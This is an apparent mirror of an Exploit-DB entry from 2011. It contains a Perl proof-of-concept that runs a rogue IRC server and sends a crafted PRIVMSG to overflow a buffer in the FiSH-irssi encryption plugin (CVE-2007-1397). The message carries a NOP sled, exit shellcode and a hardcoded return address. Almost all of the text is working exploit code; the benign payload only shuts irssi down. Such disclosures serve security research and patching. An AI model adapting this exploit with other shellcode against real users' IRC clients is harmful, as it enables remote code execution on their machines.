FiSH-irssi 0.99 – Evil ircd Buffer Overflow - 体验盒子

作者： Caleb James DeLisle

日期： 2011-04-17

类别：

remote

平台：

linux

来源：https://www.exploit-db.com/exploits/17181/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

# FiSH IRC encryption evil ircd PoC exploit.

# Abuses CVE-2007-1397

# Bad ircd, nasty bnc provider, nicknames over 100 char --> ruin.

# Runs arbitrary code which which in this case shuts down irssi.

# Tested on my own compiled FiSH with irssi/fedora/x86

# There are a lot more problems like this one, you should /unload fish

# Caleb James DeLisle - cjd

use Socket;

$retPtr = "\x60\xef\xff\xbf";

# Pirated from some guy called gunslinger_

$exit1code = "\x31\xc0\xb0\x01\x31\xdb\xcd\x80";

$code = "\x90" x 120 . $exit1code . $retPtr;

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or die "Couldn't open socket";

bind(SOCKET, sockaddr_in(6667, inet_aton("127.0.0.1"))) or die "Couldn't bind to port 6667";

listen(SOCKET,5) or die "Couldn't listen on port";

while(accept(CLIENT,SOCKET)){

sleep 1;

select((select(CLIENT), $|=1)[0]);

print CLIENT ":-psyBNC!~cjd\@ef.net PRIVMSG luser : :($code\r\n";

}

close(SOCKET);